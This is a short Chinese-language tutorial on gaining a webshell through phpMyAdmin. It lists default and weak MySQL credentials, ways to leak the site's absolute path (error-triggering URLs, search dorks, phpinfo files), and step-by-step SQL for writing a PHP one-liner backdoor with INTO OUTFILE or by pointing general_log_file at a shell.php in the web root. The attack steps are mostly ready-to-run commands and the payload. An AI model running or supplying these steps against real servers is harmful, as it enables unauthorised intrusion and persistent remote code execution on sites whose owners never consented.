一.phpMyAdmin用戶名和密碼
1.如何獲取phpMyAdmin用戶名和密碼:
弱口令
root/root
root/空密碼
root/123456
phpMyAdmin爆破工具
信息泄露(配置文件等)
sql注入
等等
2.網站絕對路徑,如何獲取網站的絕對路徑呢?
單引號爆絕對路徑
xx.asp?id=1’
錯誤參數值爆絕對路徑
xx.asp?id=-1
搜索引擎搜索絕對路徑
site:xxx.com error
site:xxx.com warning
site:xxx.com fatal error
測試文件獲取絕對路徑
phpinfo.php
test.php
ceshi.php
info.php
php_info.php
等等
二.Phpmyadmin拿shell的兩種方法
1.低版本Mysql
Mysql低於5.0,可以直接通過outfile寫入:
SELECT "<?php @assert($_REQUEST["admin"]);?>" INTO OUTFILE '/網站絕對路徑/shell.php'
2.高版本Mysql
(1)通過以下SQL語句可以查詢secure_file_priv(secure-file-priv是全局變量,指定文件夾作為導出文件存放的地方,這個值是只讀的)是否為null:
show variables like '%secure%'
從下圖可以看到我的靶機secure_file_priv值為null:

(2)通過以下SQL語句可以查詢到日志保存狀態(ON代表開啟 OFF代表關閉)和日志的保存路徑:
show variables like '%general%'
從下圖可以看到我的靶機是關閉日志保存的,還有日志保存的路徑在哪:

(3)因此通過以下SQL語句修改general_log的值,開啟日志保存:
set global general_log='on';
(4)通過以下SQL語句修改日志保存的路徑(general_log_file值):
SET global general_log_file='<網站絕對路徑>/shell.php'
(5)再次執行以下SQL語句,查詢是否成功更改:
show variables like '%general%'
從下圖可以看到,成功通過SQL語句修改成功了:

(6)執行以下SQL語句,以下SQL語句將會被寫入到日志文件(shell.php)中:
SELECT '<?php @assert($_REQUEST["admin"]);?>';
從下圖可以看到一句話木馬寫入了日志文件中: 通過URL訪問,成功被執行了! 圖片

(7)通過URL訪問,成功被執行了!

